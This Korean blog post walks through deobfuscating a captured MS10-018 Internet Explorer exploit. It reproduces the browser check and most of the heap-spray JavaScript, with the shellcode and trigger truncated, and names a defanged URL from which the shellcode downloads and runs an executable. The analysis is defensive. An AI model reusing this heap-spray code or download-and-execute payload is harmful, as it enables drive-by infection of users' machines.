티스토리 뷰


지인의 요청으로 간만에 난독화 코드를 풀어보네요..
난독화 해제는 논리로 접근하는 게 좋지 않을까요???  좀 무식하게 보일지라도????  ^^;;;

아무리 난다 긴다하는 코드라 할지라도 논리대로 따라가다보면 언젠가 끝에서는 화면에 뿌려야하기 때문에 최종적으로 뿌리는 부분이 어딜까 일단 코드를 막 쫓아가봐요..

변수를 이리 저리 쪼개고~,  치환시키고~ ,  절대 속지말고 꿋꿋하게 쫓아가다보면  아니 풀릴리 없건마는.... ㅋㅋㅋ
예전에 사람이 난독화를 눈으로 보고 판단하는 기준에 대해서 그려봤었던 이미지 하나 재미삼아 올려봅니다.. ^^;;  


코드 전체를 노출하는 것은 아마두 법에 걸릴 것 같아서.... 다 보여드리고 설명을 드릴수가 없네요....
혹시 난독화를 만나셔서 검색하시다가 우연히 마주친다면 도움이 되시길 바래요. ^^;;;

최근 발견되는 MS10-018 취약점 공격코드는 다음과 같이 전체적으로 3단 구조를 가지고 있더군요..
코드 상에서 Encrypt By Dadong's JSXX 0.39 VIP 로 인코딩되어 있다고 적혀있네요...

 1단 : 시스템 버전과 브라우저를 확인하는 코드군요...  
         테스트할 때는 모든 경우에 실행이 되어야 하니깐 요부분은 그냥 과감히 날려버려요..

eWibjDX4=navigator.userAgent.toLowerCase();
coOezeV4=((eWibjDX4.indexOf('windows nt 5.1')!=-1)||(eWibjDX4.indexOf('windows xp')!=-1));
if(coOezeV4&&navigator.userAgent.toLowerCase().indexOf("\x6D"+"\x73"+"\x69\x65 \x38")!=-1)
location.replace("about:blank");


 2단 :  쉘코드를 채우기 위한 힙스프레이(heap_spray) 코드군요.. 
          바로 요 부분 코드를 무지하게 꼬아 놓았군요... 뒤에서 풀어보아요~.

 3단 :  MS10-018 취약점 발생 코드군요..
         이젠 (#default#userData..~~ ) 어쩌고 코드만 보아도 무슨 취약점인지 아시겠쬬???         

function kDUV4()
{ .... 생략.....

그럼 본격적으로 우리가 풀어야 하는 2단 : heap_spray 코드 부분을 좀 살펴보도록 해요...
사실 이부분도 다 풀고보면, 아래 3단 그림으로 나누어 볼 수가 있겠네요.. 3단콤보.. 3단이 좋아~~~ 헤헤헤헤....

 1단 : 특별한 코드는 아니고 치환될 변수(unescape), 쉘코드 앞에 넣어질 NOP 코드가 있네요.. 
 
<script src="ns.Js"></script> 를 깨끗하게 정리해보면.....
해당 코드는 테스트하는 동안 외부 .JS로 두지 말고 아래와 같이 그냥 .html 코드에 넣어서 테스트해버려요..귀찮으니깐.. ^^;;
-------------------------------------------------------
<script>
      try {
            new ActiveXObject("");
      }
      catch (e) {
            var mHCD5='%u9090%u9090"
            var oeBm6="%u";
            var GYsaOMN4=unescape;
            var CXeDr4="BODY";
</script>
-------------------------------------------------------

 2단 :  eEIgWBf6 와 UMyfnLt5 를 이용한 쉘코드 BODY 부분이군요.. 

이부분이 말로 설명하려니 좀 힘이드네요.. ^^;;
실제 UMyfnLt5 변수안에있는 실행되는 자바스크립트가 들어있네요.. 
그럼 그냥 해당 코드안의 함수를 대체해버리면 되겠다는 생각이 드네요.. 
그러나, 해당 함수 내에서  UMyfnLt5 변수의 길이 및 값을 내부적으로 참고하고 있네요.. 이런 recursive????

그럼 간단히 생각해서 UMyfnLt5 변수 안의 코드는 외부로 꺼내서 실행되는 코드로 사용하고,
UMyfnLt5 변수는 정말로 변수로 참고하도록 코드 속에다 그대로 두기로 하죠.. ^^;;

UMyfnLt5 변수에서 꺼낸 함수를 보니 최종적으로 다음과 같이 IYiNJ6 라는 변수에 루프를 돌면서 디코딩된 코드를 모으로도록 되어 있군요... 그렇다면, 해당 변수가 찍어내는 문자열 값을 취하기만 하면 되겠군요.. 
해당 문자열을 확인하는 방법은 마음대로 선택하셔도 되고.. 저의 경우에는 그냥 document.write 로 찍었습니다.. ^^;;; 

  for (QOsih5 = gqDJXP8, pFpCTn4 = vnGCgRP0; QOsih5 < eEIgWBf6[BddJIzk1]; QOsih5 += lxdkK0, pFpCTn4++, svDvN1 = svDvN1 + pFpCTn4)
{
        if (/^(\d{4})/g [LzQkdR7](svDvN1 + 744)) svDvN1 %= 57;
        IYiNJ6 += BOFc5(trje8(gqDJXP8 + iiXvsb6('x') + eEIgWBf6.charAt(QOsih5) + eEIgWBf6.charAt(QOsih5 + trje8(vnGCgRP0))) ^ svDvN1);
      document.write(IYiNJ6+"<br><br>");
 }

자... 이제 어느정도 코드가 정리됐으면 열심히 Loop를 돌려볼까요???? 
최종 코드인 다음 코드를 디코딩해네요.. ^^;; 짝짝짝.....

swGjWR0=ylhNU3;
FrTr6=pBzYa7(20100418);
var uChVrN6 = mHCD5+'NQYqfi4D883NQYqfi4E80DNQYqfi403D8NQYqfi
... 생략 ..... 
delete FrTr6;
delete LzQkdR7;
delete ttOy3;
delete swGjWR0;
CollectGarbage();

 해당 코드가 끝이 아니군요..  다시 replace 를 통해서 코아 놓은 거 풀고나면,
 음... 우리가 많이 보던 heap_spray 코드군요.. ^^

swGjWR0 = ylhNU3;
FrTr6 = pBzYa7(20100418);
var uChVrN6 = mHCD5 + "%uD883%uE80D%u03D8%u0000%uAEDD%uEA5A%u1E4E%uADCD%u
... 생략...
u00B8%u0000%u4800%uC703%uCE79%uBA2D%uE66E%u617B%uC3F8"
var fErjl7 = "d";
var RUTRit7 = unescape(uChVrN6.replace(/NQYqfi4/g, oeBm6));
WLCoMp6 = "d";
var VuSl1 = new Array();
var BEQf1 = 0x86000 - RUTRit7.length * 2;
var WaVuupn1 = unescape("%u0c0c$u0c0c")

 
 3단 :  비로소 만들어진 쉘코드 문자열을 Array에 채워넣는 부분이군요..
         이 부분은 난독화 되지 않고 본문에 있었던 부분입니다..  

 var pItrM2="d";
 while(WaVuupn1.length < BEQf1/2) WaVuupn1 +=WaVuupn1;
         var iBju7 = WaVuupn1.substring(0, BEQf1/2);
         delete WaVuupn1;
         for(i=0;i<270;i++)
         {
              VuSl1[i] = iBju7+iBju7+RUTRit7;   
         }
    }

최종적으로, heap_spray 코드를 3단계 합체를 해서 핵심부분만 정리해보면 다음과 같은 코드가 되겠습니다...


var mHCD5='%u9090%u9090"
var oeBm6="%u";
var GYsaOMN4=unescape;
var uChVrN6 = mHCD5 + "%uD883%uE80D%u03D8%u0000%uAEDD%uEA5A%u1E4E%u
... 생략....
u00B8%u0000%u4800%uC703%uCE79%uBA2D%uE66E%u617B%uC3F8"
var RUTRit7 = unescape(uChVrN6.replace(/NQYqfi4/g, oeBm6));
var VuSl1 = new Array();
var BEQf1 = 0x86000 - RUTRit7.length * 2;
var WaVuupn1 = unescape("%u0c0c$u0c0c")
while(WaVuupn1.length < BEQf1/2) WaVuupn1 +=WaVuupn1;
var iBju7 = WaVuupn1.substring(0, BEQf1/2);
delete WaVuupn1;
for(i=0;i<270;i++)
{
     VuSl1[i] = iBju7+iBju7+RUTRit7;   
}


uChVrN6 의 쉘코드 부분을 떼어서 확인해보면, 쉘코드 속에 다음 URL로부터 다운로드하여 실행하도록 설계되어 있습니다...  ^^;;;

 hxxp://ns.km__.com/ns.exe

코드를 직접 보지 못하신 분들은 이해하기.. 쩝쩝쩝...
하지만 해당 인코딩된 난독화 코드 가지고 고민하신 분들은 이해가 가실 것 같은... ^^;;
참고로, 구글신께 "Dadong's JSXX " 키워드로 빌어보시면 많은 정보가 나오니 참고하세요~~


-------------------------------
난독화에
겁먹지 말고... 혹하지 말고...
그냥 좀 무식하지만 덤덤하게 코드를 따라가보세요~
그럼... 어느 순간
자연스럽게 길이 보이게 됩니다... ^^;;;

오늘도 도움이 좀 되셨을까요????  
-------------------------------

댓글
댓글쓰기 폼